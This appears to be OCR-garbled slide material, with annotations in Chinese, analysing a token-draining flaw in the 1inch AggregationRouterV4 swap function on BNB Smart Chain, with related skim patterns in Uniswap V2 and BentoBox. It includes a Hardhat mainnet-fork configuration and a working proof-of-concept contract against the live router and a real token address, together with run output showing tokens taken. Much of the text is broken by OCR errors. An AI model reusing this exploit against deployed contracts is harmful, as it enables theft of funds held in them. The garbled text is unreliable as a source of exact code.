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linch AggregationRouterV4 Vulnerability

il B
AggregationRouterV4 21 1ITH H— S EPENR SRR EEZY.

AggregationRouterV4 contract on BNB Smart Chain:

iRl k1L

£ AggregationRouterV4.sol 5297 , BJLUEY PREGR LIS ZIFHYIERE token HUEERRER,



https://bscscan.com/address/0x1111111254fb6c44bac0bed2854e76f90643097d

function swap(
IAggregationExecutor caller,

SwapDescription calldata desc, éggI}Jﬁg :
bytes calldata data

external

payable Ag g reg atiO n ROUte rV4 éé@&%zlgiﬁij_t;-

returns (uint256 returnAmount, uint256 gaslLeft)

require(desc.minReturnAmount > @, "Min return should not be 0"); Z:K I?ﬁ% native COin *I:I tOken ! /I:\IKEEEHj-E/\J
require(data.length > @, "data should not be empty"); N ——
FRER( M,

|

uint256 flags = desc.flags;
IERC20 srcToken = desc.srcToken;
IERC20 dstToken desc.dstToken;

bool srcETH = srcToken.isETHQ);
if (flags & _REQUIRES_EXTRA_ETH != @) {
require(msg.value > (srcETH ? desc.amount : @), "Invalid msg.value");

} else { R EKEY swap() function flow:

require(msg.value == (srckETH ? desc.amount : @), "Invalid msg.value");
}

if (!srckETH) {
_permit(Caddress(srcToken), desc.permit);

srcToken.safeTransferFrom(msg.sender, desc.srcReceiver, desc.amount); Ca”er SI’CTOken -S> I’OUteI’

bytes memory callData = abi.encodePacked(caller.callBytes.selector, bytes12(@), msg.sender, data);
// solhint-disable-next-1line avoid-low-level-calls
(bool success, bytes memory result) = address(caller).call{value: msg.value}(callData);
if (!success) {
revert(RevertReasonParser.parse(result, "callBytes failed: "));
}
}

uint256_spentAmount = desc.amount; Swap(SI’CTOken->dStTOken)

returnAmount = dstToken.uniBalanceOf(address(this));

if (flags & _PARTIAL_FILL !'= @) {
uint256 unspentAmount = srcToken.uniBalanceOf(address(this));
if CunspentAmount > 0) {
spentAmount = spentAmount.sub(unspentAmount);
srcToken.uniTransfer(msg.sender, unspentAmount);

}

require(returnAmount.mul(desc.amount) >= desc.minReturnAmount.mul(spentAmount), "Return amount is not enough");
} else {

require(returnAmount >= desc.minReturnAmount, "Return amount is not enough"); dStTOken -> router
}

: desc.dstReceiver;

emit Swapped(
msg.sender,
srcToken,
dstToken,
dstReceiver,
spentAmount, c c
|, returnAnount dstToken.Balance(address(this)) -> dstReceiver

gasLeft = gasleft();
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function swap(
IAggregationExecutor caller

SwapDescription calldata desc,
bytes calldata data
external

payable
returns (uint256 returnAmount, uint256 gaslLeft)

)

require(desc.minReturnAmount > @, "Min return should not be 0");
require(data.length > @, "data should not be empty");

uint256 flags = desc.flags;
IERC20 srcToken = desc.srcToken;
IERC20 dstToken = desc.dstToken;

bool srckETH = srcToken.isETH(Q);
if (flags & _REQUIRES_EXTRA_ETH != @) {

require(msg.value > (srckETH ? desc.amount : @), "Invalid msg.value");
} else {

require(msg.value == (srckETH ? desc.amount : @), "Invalid msg.value");

}

if (IsrcETH) { Eﬁ,ﬁﬁ - Point 1

_permit(address(srcToken), desc.permit);
srcToken.safeTransferFrom(msg.sender, desc.srcReceiver, desc.amount);

= o3 =1
bytes memory callData = abi.encodePacked(caller.callBytes.selector, bytesl12(®), msg.sender, Ca”el’ *D data )\g )j I:'_J }fﬁ ;] <T

// solhint-disable-next-line avoid-low-level-calls o . \
(bool success, bytes memory result) = address(caller).call{value: msg.value}(callData); EQQI*E“B/\DI%&Q% T_I_
) EXE alkJJ —9131__.0
if (!success) {

revert(RevertReasonParser.parse(result, "callBytes failed: "));

}

uint256 spentAmount = desc.amount;

returnAmount = dstToken.uniBalanceOf(address(this)); R—E‘%gg’é Ca”er )\231?)\ O j:ﬂ_J,iJJ:E[Dﬂ

. e
if (flags & _PARTIAL_FILL '= @) { 2;%\<j-°

uint256 unspentAmount = srcToken.uniBalanceOf(address(this));
if (unspentAmount > 0) {
spentAmount = spentAmount.sub(unspentAmount);
srcToken.uniTransfer(msg.sender, unspentAmount);
} + |low-level call
require(returnAmount.mul(desc.amount) >= desc.minReturnAmount.mul(spentAmount), "Return amount is not enough");
} else {

require(returnAmount >= desc.minReturnAmount, "Return amount is not enough");

}

address payable dstReceiver = (desc.dstReceiver == address(@)) ? msg.sender : desc.dstReceiver;
dstToken.uniTransfer(dstReceiver, returnAmount);

emit Swapped(
msg.sender,
srcToken,
dstToken,
dstReceiver,
spentAmount,
returnAmount

D

gasLeft = gasleft();
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Call executes the contract associated with the addr with the given input as
parameters. It also handles any necessary value transfer required and takes
the necessary steps to create accounts and reverses the state in case of an
execution error or failed value transfer.
(evm *EVM) Call(caller ContractRef, addr common.Address,
evm.Config.NoRecursion && evm.depth > 0 {

L1, gas,

input [lbyte, gas uinté4,

Fail if we're trying to execute above the call depth limit
evm.depth > int(params.CallCreateDepth) {
returi .1, gas, ErrDepth

Fail if we're trying to transfer more than the available balance
value.Sign() != 0 && !evm.Context.CanTransfer(evm.StateDB, caller.Address()|
retur ., gas, ErrInsufficientBalance

}
snapshot := evm.StateDB.Snapshot()
p, isPrecompile := evm.precompile(addr)

levm.StateDB.Exist(addr) {
. f !tisPrecompile && evm.chainRules.IsSEIP158 && value.Sign() == 0 {
// Calling a non existing account, don't do anything,
evm.Config.Debug {
evm.depth == 0 {

evm.Config.Tracer.CaptureStart(evm,
evm.Config.Tracer.CaptureEnd(ret, 0, 0, )

{
evm.Config.Tracer.CaptureEnter(CALL,
evm.Config.Tracer.CaptureExit(ret, 0, nil)

, gas, nil
}

evm.StateDB.CreateAccount(addr) TranSfer Value

caller.Address(),

}
evm.Context.Transfer(evm.StateDB,

addr, value)

// Capture the tracer start/end events in debug mode
evm.Config.Debug {
evm.depth == 0 {
evm.Config.Tracer.CaptureStart(evm, caller.Address(), addr, fa :

evm.Config.Tracer.CaptureEnd(ret,
time.Now())

startGas—-gas,
}(gas,
{
// Handle tracer events for entering and exiting a call frame
evm.Config.Tracer.CaptureEnter(CALL, caller.Address(), addr,
fer func(startGas uintés) {
evm.Config.Tracer.CaptureExit(ret,
}(gas)

startGas-gas, err)

value)

caller.Address(),

caller.Address(),

but ping the trac

.
<

ian:_
fer func(startGas uinté4, startTime time.Time) { // Lazy evaluation ¢ 24

value *xbig.Int) (ret [lbyte,

}

time.Since(startTime),

low-level call

leftOverGas uinté4, err error) A

Check depth and caller’s balance

isPrecompile {
ret, gas,
{
// Initialise a new contract and set the code that 1s to be used by the
// The contract i1is a scoped environment for this execution context onl

| code := evm.StateDB.GetCode(addr) | Ret”‘eve COde

(code) == 0 {
ret, err = - // gas 1s unchanged

{
addrCopy := addr
// If the account has no code, we can abort
// The depth-check is already done,
contract := NewContract(caller, AccountRef(addrCopy), value, g4
contract.SetCallCode(&addrCopy, evm.StateDB.GetCodeHash(addrCoyj
ret, err = evm.interpreter.Run(contract, input, false)_

gas = contract.Gas

err = RunPrecompiledContract(p, input, gas)

here
and precompiles handled ab¢

Initialize env.

and run the

codq }
//

When an error was returned by the EVM or when setting the creation code
// above we revert to the snapshot and consume any gas remaining. Additionally
// when we're in homestead this also counts for code storage gas errors.
f err l= {
evm.StateDB.RevertToSnapshot(snapshot)
err != ErrExecutionReverted {

Revert upon
gas = 0
) errors

// TODO: consider clearing up unused snapshots:
//} else {
// evm.StateDB.DiscardSnapshot(snapshot)

| ret, gas, err

err)

input, gas, value)

qgo-ethereum/core/vm/evm.qo

+




function swap(
IAggregationExecutor caller
wapDescription calldata desc
bytes calldata data

external
payable
returns (uint256 returnAmount, uint256 gaslLeft)

require(desc.minReturnAmount > @, "Min return should not be 0");
require(data.length > @, "data should not be empty");

uint256 flags = desc.flags;
IERC20 srcToken = desc.srcToken;
TERC20 dstToken = desc.dstToken;

bool srcETH = srcToken.isETH();
if (flags & _REQUIRES_EXTRA_ETH != @) {

require(msg.value > (srckETH ? desc.amount : @), "Invalid msg.value");
} else {

require(msg.value == (srckETH ? desc.amount : @), "Invalid msg.value");

}

if (!srcETH) { Eﬁ,ﬁﬁ - Point 2

_permit(address(srcToken), desc.permit);
srcToken.safeTransferFrom(msg.sender, desc.srcReceiver, desc.amount);

bytes memory callData = abi.encodePacked(caller.callBytes.selector, bytes12(@), msg.sender,
// solhint-disable-next-1ine avoid-low-level-calls

(bool success, bytes memory result) = address(caller).call{value: msg.value}(callData); cj /)\\;gé:
if (!success) { esC =

2 E;EQ 1J
7z
-FD.H:I , SEAEM 1,
revert(RevertReasonParser.parse(result, "callBytes failed: "));

} 2, 3bAI5Rd,

uint256 spentAmount = desc.amount;
returnAmount = dstToken.uniBalanceOf(address(this));

}

if (flags & _PARTIAL_FILL != @) {
uint256 unspentAmount = srcToken.uniBalanceOf(address(this));
if (unspentAmount > @) {
spentAmount = spentAmount.sub(unspentAmount);
srcToken.uniTransfer(msg.sender, unspentAmount);
}
require(returnAmount.mul(desc.amount) >= desc.minReturnAmount.mul(spentAmount), "Return amount is not enough");
} else {
require(returnAmount >= desc.minReturnAmount, "Return amount is not enough");

}

address payable dstReceiver = (desc.dstReceiver == address(@)) ? msg.sender : desc.dstReceiver;
dstToken.uniTransfer(dstReceiver, returnAmount);

emit Swapped(
msg.sender,
srcToken,
dstToken,
dstReceiver,
spentAmount,
returnAmount

s

gasLeft = gasleft();




function swap(
IAggregationkExecutor caller,
SwapDescription calldata desc,
bytes calldata data

external
payable
returns (uint256 returnAmount, uint256 gaslLeft)

require(desc.minReturnAmount > @, "Min return should not be 0");
require(data.length > @, "data should not be empty");

uint256 flags = desc.flags;
IERC20 srcToken = desc.srcToken;
IERC20 dstToken = desc.dstToken;

bool srckETH = srcToken.isETH(Q);
if (flags & _REQUIRES_EXTRA_ETH != @) {

require(msg.value > (srcETH ? desc.amount : @), "Invalid msg.value");
} else {

require(msg.value == (srckETH ? desc.amount : @), "Invalid msg.value");

}

if (!srckETH) {
_permit(address(srcToken), desc.permit);
srcToken.safeTransferFrom(msg.sender, desc.srcReceiver, desc.amount);

bytes memory callData = abi.encodePacked(caller.callBytes.selector, bytesl12(@), msg.sender,
// solhint-disable-next-1ine avoid-low-level-calls
(bool success, bytes memory result) = address(caller).call{value: msg.value}(callData);
if (!success) {
revert(RevertReasonParser.parse(result, "callBytes failed: "));

}

uint256 spentAmount = desc.amount;
returnAmount = dstToken.uniBalanceOf(address(this));

if (flags & _PARTIAL_FILL != 0) {
uint256 unspentAmount = srcToken.uniBalanceOf(address(this));
if (unspentAmount > 0) {
spentAmount = spentAmount.sub(unspentAmount);
srcToken.uniTransfer(msg.sender, unspentAmount);
}
require(returnAmount.mul(desc.amount) >= desc.minReturnAmount.mul(spentAmount), "Return amount is not enough");
} else {
require(returnAmount >= desc.minReturnAmount, "Return amount is not enough");

}

address payable dstReceiver = (desc.dstReceiver == address(@)) ? msg.sender : desc.dstReceiver;
dstToken.uniTransfer(dstReceiver, returnAmount);

emit Swapped(
msg.sender,
srcToken,
dstToken,
dstReceiver,
spentAmount,
returnAmount

)

gasLeft = gasleft();

BEiEZEE - Point 3
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@type

module.exports = {
networks: {

hardhat: {
chainId: 56,
forking: {

url: "https://speedy-nodes—-nyc.moralis.io/{}/bsc/mainnet/archive",
blockNumber: 16447938
¥
¥
28
solidity: "0.7.0"
};
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function swap(
IAggregationExecutor caller,
SwapDescription calldata desc,
bytes calldata data

external
payable
returns (uint256 returnAmount, uint256 gaslLeft)

require(desc.minReturnAmount > @, "Min return should not be 0");
require(data.length > @, "data should not be empty");

uint256 flags = desc.flags;
IERC20 srcToken = desc.srcToken;
IERC20 dstToken = desc.dstToken;

bool srcETH = srcToken.isETHQ);
if (flags & _REQUIRES_EXTRA_ETH != 0) {

require(msg.value > (srckETH ? desc.amount : @), "Invalid msg.value");
} else {

require(msg.value == (srckETH ? desc.amount : @), "Invalid msg.value");

}

if (IsrcETH) { ﬁ;uIiﬁ - Bypass Point 1

_permit(address(srcToken), desc.permit);
srcToken.safeTransferFrom(msg.sender, desc.srcReceiver, desc.amount);

bytes memory callData = abi.encodePacked(caller.callBytes.selector, bytesl2(®), msg.sender, data);
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory result) = address(caller).call{value: msg.value}(callData);
if (!success) {

revert(RevertReasonParser.parse(result, "callBytes failed: ")); {i?’)\~ ()
}
}

uint256 spentAmount = desc.amount; \ N
returnAmount = dstToken.uniBalanceOf(address(this)); DI L)\1§)\ Wrapped ETH 1t

if (flags & _PARTIAL_FILL != 0) {
uint256 unspentAmount = srcToken.uniBalanceOf(address(this)); Ml
if (unspentAmount > @) {
spentAmount = spentAmount.sub(unspentAmount);
srcToken.uniTransfer(msg.sender, unspentAmount);

} — \ = \ I
require(returnAmount.mul(desc.amount) >= desc.minReturnAmount.mul(spentAmount), "Return amount is not enough"); *fj'ljl L)\E ‘ﬁ'ﬁ%ﬁ]’ - mEjExEEéI*EW
} else {

require(returnAmount >= desc.minReturnAmount, "Return amount is not enough"); bypass }ﬁIjJ
o

}

address payable dstReceiver = (desc.dstReceiver == address(®)) ? msg.sender : desc.dstReceiver;
dstToken.uniTransfer(dstReceiver, returnAmount);

emit Swapped(
msg.sender,
srcToken,
dstToken,
dstReceiver,
spentAmount,
returnAmount

5

gasLeft = gasleft();




function swap(
IAggregationExecutor caller,
SwapDescription calldata desc,
bytes calldata data

external
payable
returns (uint256 returnAmount, uint256 gaslLeft)

require(desc.minReturnAmount > @, "Min return should not be 0");
require(data.length > @, "data should not be empty");

uint256 flags = desc.flags;
IERC20 srcToken = desc.srcToken;
IERC20 dstToken = desc.dstToken;

bool srckETH = srcToken.isETH(Q);
if (flags & _REQUIRES_EXTRA_ETH != @) {

require(msg.value > (srcETH ? desc.amount : @), "Invalid msg.value");
} else {

require(msg.value == (srckETH ? desc.amount : @), "Invalid msg.value");

}

iF C1sncETH) { =4I - Bypass Point 2

_permit(Caddress(srcToken), desc.permit);
srcToken.safeTransferFrom(msg.sender, desc.srcReceiver, desc.amount);

bytes memory callData = abi.encodePacked(caller.callBytes.selector, bytes12(®), msg.sender, data);
// solhint-disable-next-1line avoid-low-level-calls
(bool success, bytes memory result) = address(caller).call{value: msg.value}(callData);
if (!success) {

revert(RevertReasonParser.parse(result, "callBytes failed: ")); {£§>)\~ ()
}

uint256 spentAmount = desc.amount;
returnAmount = dstToken.uniBalanceOf(address(this)); 1%)\ OO

if (flags & _PARTIAL_FILL !'= 0) {
uint256 unspentAmount = srcToken.uniBalanceOf(address(this));
if (unspentAmount > 0) {

spentAmount = spentAmount.sub(unspentAmount); ° ﬁEL\)\éI*EWE_L\)\E %g%\ﬁt

srcToken.uniTransfer(msg.sender, unspentAmount);

}

require(returnAmount.mul(desc.amount) >= desc.minReturnAmount.mul(spentAmount), "Return amount is not enough");
} else {
require(returnAmount >= desc.minReturnAmount, "Return amount is not enough");

}

address payable dstReceiver = (desc.dstReceiver == address(@)) ? msg.sender : desc.dstReceiver;
dstToken.uniTransfer(dstReceiver, returnAmount);

emit Swapped(
msg.sender,
srcToken,
dstToken,
dstReceiver,
spentAmount,
returnAmount

)15

gaslLeft = gasleft();




function swap(
IAggregationExecutor caller,
SwapDescription calldata desc,
bytes calldata data

external
payable
returns (uint256 returnAmount, uint256 gaslLeft)

require(desc.minReturnAmount > @, "Min return should not be 0");
require(data.length > @, "data should not be empty");

uint256 flags = desc.flags;
IERC20 srcToken = desc.srcToken;
IERC20 dstToken = desc.dstToken;

bool srcETH = srcToken.isETH();
if (flags & _REQUIRES_EXTRA_ETH !'= @) {

require(msg.value > (srckETH ? desc.amount : @), "Invalid msg.value");
} else {

require(msg.value == (srckETH ? desc.amount : @), "Invalid msg.value");

} 1&g - Bypass Point 3

if (!srcETH) {
_permit(address(srcToken), desc.permit);
srcToken.safeTransferFrom(msg.sender, desc.srcReceiver, desc.amount);

bytes memory callData = abi.encodePacked(caller.callBytes.selector, bytes12(@), msg.sender, data);
// solhint-disable-next-1line avoid-low-level-calls
(bool success, bytes memory result) = address(caller).call{value: msg.value}(callData);

if (!success) { 1%)\ O

revert(RevertReasonParser.parse(result, "callBytes failed: "));
}

}
« uint256 private constant =

1

uint256 spentAmount = desc.amount;
returnAmount = dstToken.uniBalanceOf(address(this));

if (flags & _PARTIAL_FILL != @) {
uint256 unspentAmount = srcToken.uniBalanceOf(address(this));
if (unspentAmount > 0) {
spentAmount = spentAmount.sub(unspentAmount);

srcToken.uniTransfer(msg.sender, unspentAmount); ° ]\#}\ J\Eiﬁ

}

require(returnAmount.mul(desc.amount) >= desc.minReturnAmount.mul(spentAmount), "Return amount is not enough");
} else {
require(returnAmount >= desc.minReturnAmount, "Return amount is not enough");

: * EARY HIRENE— N ECARKHIEL |

address payable dstReceiver = (desc.dstReceiver == address(@)) ? msg.sender : desc.dstReceiver; y,
dstToken.uniTransfer(dstReceiver, returnAmount); ||||1§)\E/\J {E/J\ - ﬁﬁ

RS S LA else 9ZEILABRINHGT . £I4EA bypass B

srcToken,

dstToken, Ijj
dstReceiver,

spentAmount,

returnAmount




function swap(
IAggregationExecutor caller,
SwapDescription calldata desc,
bytes calldata data

external

reurns 1RISGE - FUFA
returns (uint256 returnAmount, uint256 gaslLeft) L I - I 4 I\a\\

require(desc.minReturnAmount > @, "Min return should not be 0");
require(data.length > @, "data should not be empty");

uint256 flags = desc.flags;
IERC20 srcToken = desc.srcToken; ® iiiiﬂfu
IERC20 dstToken = desc.dstToken;

IH—EZ4E |, (EARY dstToken 2
e 0x308FC5CAD559Be5cB62B08A26a4699bB
if (flags & _REQUIRES_EXTRA_ETH = 0) { ef4a888f 1—%}':_]

require(msg.value > (srckETH ? desc.amount : @), "Invalid msg.value");
} else {
require(msg.value == (srckETH ? desc.amount : @), "Invalid msg.value");

}

if (!srcETH) {
_permit(address(srcToken), desc.permit);
srcToken.safeTransferFrom(msg.sender, desc.srcReceiver, desc.amount);

m Token Decentralized Community Investment Protocol ®

bytes memory callData = abi.encodePacked(caller.callBytes.selector, bytesl2(@), msg.sender, data);
// solhint-disable-next-1line avoid-low-level-calls

(bool success, bytes memory result) = address(caller).call{value: msg.value}(callData);
if (!success) {
revert(RevertReasonParser.parse(result, "callBytes failed: "));

Sponsored: . AAX - Sign to earn 50 USDT rewards! Visit AAX.com now!

Overview BEP-20 Profile Summary

}

Contract:
$0.00 @ 0.000000 BNB ) $2,000,000.00

uint256 spentAmount = desc.amount;
returnAmount = dstToken.uniBalanceOf(address(this));

Decimals:
Total Supply: 1,000,000,000,000,000 DCIP (i i

Official Site:
5 (ﬂags & _PARTIAL_FILL != @) { Holders: 17,506 addresses
uint256 unspentAmount = srcToken.uniBalanceOf(address(this));
if (unspentAmount > @) {
spentAmount = spentAmount.sub(unspentAmount);

srcToken.uniTransfer(msg.sender, unspentAmount);

Transfers: 226,000 Social Profiles:

}

require(returnAmount.mul(desc.amount) >= desc.minReturnAmount.mul(spentAmount), "Return amount is not enough");
} else {
require(returnAmount >= desc.minReturnAmount, "Return amount is not enough");

: . Ml router S29FB UL , BrLARKINEELE T

address payable dstReceiver = (desc.dstReceiver == address(@)) ? msg.sender : desc.dstReceiver; ‘Zb- b R =y '*FiZII | )
1Z1T\IMPRY? \€§J¢j: BAEH}

dstToken.uniTransfer(dstReceiver, returnAmount);

emit Swapped(
msg.sender,
srcToken,
dstToken,
dstReceiver,
spentAmount,
returnAmount

5

gasLeft = gasleft();




K( O r'] 933 - library UniERC20 {
934 ~ using SafeMath for uint256;

935 using SafeERC20 for IERC20;
936
937 IERC20 private constant _ETH_ADDRESS = JIERC20(OxEeeeeEeeceEecEecEecEeEecEEEeceeeEeeceeeceeEEeE)
938 IERC20 private constant _ZERO_ADDRESS = IER ;
939
Ha Pd hat Poc 940 ~ function 1sETH(IERC20 token) internal pure returns (bool) {
941 return (token == _ZERO_ADDRESS || token == _ETH_ADDRESS);

942 }

contract Test {
function test() public {
address payable router = 0x1111111254fb6c44bACObeD2854e76F90643097d;
IlinchAggregationRouterV4 aggregationRouterV4 = IlinchAggregationRouterV4(
router
);
address payable token = 0x308FC5CdD559Be5cB62B08A26a4699bBef4a888f;
IERC20 Token = IERC20(token);
uint256 balance = Token.balanceOf(msg.sender);
console. log("before exploit: ", balance);

address caller;

IlinchAggregationRouterV4.SwapDescription memory desc;
desc.minReturnAmount = 1;

desc.amount = 0;

desc.srcToken = OxEeeeeEeeecEeEeecEecEecEecEEEeceeceEeeeeceeecEEeE;
desc.dstToken = token;

desc.dstReceiver msg.sender;

bytes memory data = "00";

aggregationRouterV4.swap(caller, desc, data);

balance = Token.balanceOf(msg.sender);
console. log("after exploit: ", balance);
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Overview BEP-20 Profile Summary
Contract: 0x308fc5cdd559be5ch62b08a26a4699bbef4a888f
$0.00 @ 0.000000 BNB (+5.99 $2,000,000.00

Decimals:
Total Supply: 1,000,000,000,000,000 DCIP (i SIERIES

Official Site:
Holders: 17,506 addresses RIS

Social Profiles:
Transfers: 226,000 ;

INEEH T AggregationRouterV4 S49ERIEER DCIP KRR

user@c@2gm367mdér scripts % npx hardhat run poc.js
Test deployed to: 0x189dBOD27fE2B73aF4D02CF4D2E8680e49F9e4DB

before exploit: ©
after exploilt: 4641464445692524
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& Terk (Terk) $463,231.40
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¥ METAROBOX (RBX) $534.96 ) 7N jﬂlﬁt’égﬂ}%‘__ﬁ% TVL %%ﬁjﬁg E"J%ﬂg Iij
Transactions Internal Txns 50,000 RBX @0.0107 E E .Iu%.q{% %*&j( § ﬁi}u 1 'TE%??%’)"F
= K VA BT AN
EJ Decentralize... (DCIP) $0.03 i’é)\EJZ’EETﬁ ’ ﬁ)?L){,%E?—éé,%1ﬂ1Ej(
Read Contract

Write' 5,157,182.81271552 DCIP @0.00

® Goma Shiba I... (GOMA) $0.02

. 3,544,473.1372771 GOMA @0.00
9 Contract Source Code Verified

© 8BIT DOGE (BITD) $0.00

Contract Name: . o A LR RSREATERRL RS R
3[Hl

function swapAndPurchase( j(fﬂ_]*”
address _ssovAddress,
address _ssovlokenAddress,
address _caller,
IlinchAggregationRouterV4.SwapDescription memory _desc, r
bytes calldata _data, —Jtzblﬁiﬁ"é__ﬁ1§1£ SWap EI’\J?E.:
PurchaseOption calldata _params

) external returns (bool) { o == RSy —AL 5 S I = N1 AN
IERCZ20SS0OV ssov = IERCZ20SSOV(_ssovAddress); returnAmount ' 5t 5'121%& QEI\JB{Q\J&
IERC20 ssovToken = IERCZ20(_ssovTokenAddress);
IERC20 tokenFrom = IERCZ20(_desc.srcToken);
tokenFrom.safeTransferFrom(msg.sender, address(this), _desc.amount);

. - — QAb A S A\t v
tol.<enFr‘om .safeApprove(address(agg r‘egatlonRoute rv4), _desc.amount); }EE,] UEJ J Sswa p |2| &E’JI E %B'I%jﬁbKEiJL
C(uint256 returnAmount, ) = aggregationRouterV4.swap(

el ANFEERIEAN, ELanZ IR B s,

_data

)s

ssovlioken.safelIncreaseAllowance(Caddress(ssov), returnAmount);
ssov.purchase(_params.strikelIndex, _params.amount, _params.to);
_transferlLeftoverBalance(_ssovTokenAddress);

return true;
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Uniswap UniswapVZ2RouterOZ2 PLE :

UniswapV2Router02 8 IEIRIT EASTFE
native coin ] token , RELERTHIFE T
1,

// *kxx REMOVE LIQUIDITY (supporting fee-on-transfer tokens) sxkkx
function removelLiquidityETHSupportingFeeOnTransferTokens (
address token,

uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
(, amountETH) = removelLiquidity(

token, JVL
WETH,

LR R UniswapV2Router02 removeliquidityETHSupportingFeeOnTransferTokens
amountTokenMin,
amountETHMin,
address(this), JVL
deadline
) s UniswapV2Pair burn

TransferHelper.safeTransfer(token, to,[IERCZO(token).balanceOf(address(this)));]
IWETH(WETH) .withdraw(amountETH) ;

TransferHelper.safeTransferETH(to, amountETH);
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Uniswap UniswapVZ2Pair

P :

NEBRTFENE , UniswapV2Pair&20Ei@id I B e NUtokenfl g (reserve) , ELfFRMEEZHIMERE , WTLUET
skimBEYESEEE | LU SCHISCRRS S S5\ &2\ 25 PThLD

// force balances to match reserves
function skim(address to) external lock {
address _token@® = token@; // gas savings
address _tokenl = tokenl; // gas savings
_safeTransfer(_token®, to, IERC20( token®).balanceOf(address(this)).sub(reserve@))

_safeTransfer( _tokenl, to, IERC20( tokenl).balanceOf(address(this)).sub(reservel))
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P :

HNBRTFEH S , BentoBoxS A GBI W E B E NN
tokentil 9l 55s~&(total.elastic) , LR RIMSET HINE
B, MeLLEID & B deposit B E , EfromSEHIEFR
BentoBox&IARBAUMBLL , RIaIEEEEIRNELTE , LA
ItESCIRSCRRRENS I 55l S5 R PTHEL

function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) public payable allowed(from) returns (uint256 amountOut, uint256 shareQut) {
// Checks
require(to !'= address(@), "BentoBox: to not set"); // To avoid a bad UI from burning funds

// Effects
IERC20 token = token_ == USE_ETHEREUM ? wethToken : token_;
Rebase memory total = totals[token];

// If a new token gets added, the tokenSupply call checks that this is a deployed contract. Needed for security.
require(total.elastic != @ || token.totalSupply() > @, "BentoBox: No tokens");
if (share == 0) {
// value of the share may be lower than the amount due to rounding, that's ok
share = total.toBase(amount, false);
// Any deposit should lead to at least the minimum share balance, otherwise it's ignored (no amount taken)
if (total.base.add(share.to0128()) < MINIMUM_SHARE_BALANCE) {
return (0, 0);
}
} else {
// amount may be lower than the value of share due to rounding, in that case, add 1 to amount (Always round up)
amount = total.toElastic(share, true);

// In case of skimming, check that only the skimmable amount is taken.
// For ETH, the full balance is available, so no need to check.

// During flashloans the _tokenBalanceOf is lower than ‘reality', so skimming deposits will mostly fail during a flashloan.

require(
from != address(this) || token_ == USE_ETHEREUM || amount <= _tokenBalanceOf(token).sub(total.elastic),
"BentoBox: Skim too much"

);

balanceOf [token] [to] = balanceOf[token] [to].add(share);
total.base = total.base.add(share.to0128());
total.elastic = total.elastic.add(amount.t0128());
totals[token] = total;

// Interactions

// During the first deposit, we check that this token is 'real’

if (token_ == USE_ETHEREUM) {
// X2 - If there is an error, could it cause a DoS. Like balanceOf causing revert. (SWC-113)
// X2: If the WETH implementation is faulty or malicious, it will block adding ETH (but we know the WETH implementation)
IWETH(address(wethToken)).deposit{value: amount}();

} else if (from != address(this)) {
// X2 - If there is an error, could it cause a DoS. Like balanceOf causing revert. (SWC-113)
// X2: If the token implementation is faulty or malicious, it may block adding tokens. Good.
token.safeTransferFrom(from, address(this), amount);

}

emit LogDeposit(token, from, to, amount, share);

amountOut = amount;

shareQut = share;
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